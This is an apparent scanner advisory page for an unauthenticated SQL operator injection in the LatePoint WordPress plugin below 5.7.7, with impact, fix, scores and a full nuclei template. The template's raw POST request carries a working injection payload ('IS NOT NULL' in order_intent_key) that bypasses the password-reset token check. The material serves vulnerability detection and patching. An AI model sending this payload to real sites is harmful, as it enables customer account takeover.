LatePoint < 5.7.7 - Unauthenticated Authentication Bypass / Account Takeover

criticalseverity

9.8CVSS score

2.3%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

Unauthenticated SQL operator injection in the latepoint_route_call AJAX route (wp_ajax_nopriv). build_conditions_query() in lib/models/model.php treats literal 'IS NULL'/'IS NOT NULL' as SQL operators and concatenates them unbound, bypassing the customer password-reset token check -> account takeover of LatePoint customers and their linked WP subscriber accounts.

Impact

Unauthenticated attackers can reset passwords and fully access user accounts, including bookings, orders, and personal information.

Fix

Update LatePoint to 5.7.7+.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: contains "latepoint" and "payment method" AND not contains "\"status\":\"error\"" or "You are not authorized" AND status 200

Run it with nuclei: nuclei -id CVE-2026-118066 -u <target>

The full check

id: CVE-2026-118066

info:
  name: LatePoint < 5.7.7 - Unauthenticated Authentication Bypass / Account Takeover
  author: DhiyaneshDk
  severity: critical
  description: |
    Unauthenticated SQL operator injection in the latepoint_route_call AJAX route (wp_ajax_nopriv). build_conditions_query() in lib/models/model.php treats literal 'IS NULL'/'IS NOT NULL' as SQL operators and concatenates them unbound, bypassing the customer password-reset token check -> account takeover of LatePoint customers and their linked WP subscriber accounts.
  remediation: |
    Update LatePoint to 5.7.7+.
  impact: |
    Unauthenticated attackers can reset passwords and fully access user accounts, including bookings, orders, and personal information.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-118066
    - https://latepoint.com/changelog/
    - https://wordpress.org/plugins/latepoint/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-118066
    epss-score: 0.02255
    epss-percentile: 0.83084
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    vendor: latepoint
    product: latepoint
    framework: wordpress
    shodan-query: http.html:"latepoint"
    fofa-query: body="latepoint"
  tags: cve,cve2026,latepoint,wordpress,wp-plugin,wp,vkev,auth-bypass,sqli,intrusive

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        action=latepoint_route_call&route_name=steps__start_from_order_intent&params[order_intent_key]=IS+NOT+NULL

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "latepoint"
          - "payment method"
        condition: and

      - type: word
        part: body
        words:
          - '"status":"error"'
          - "You are not authorized"
        negative: true

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from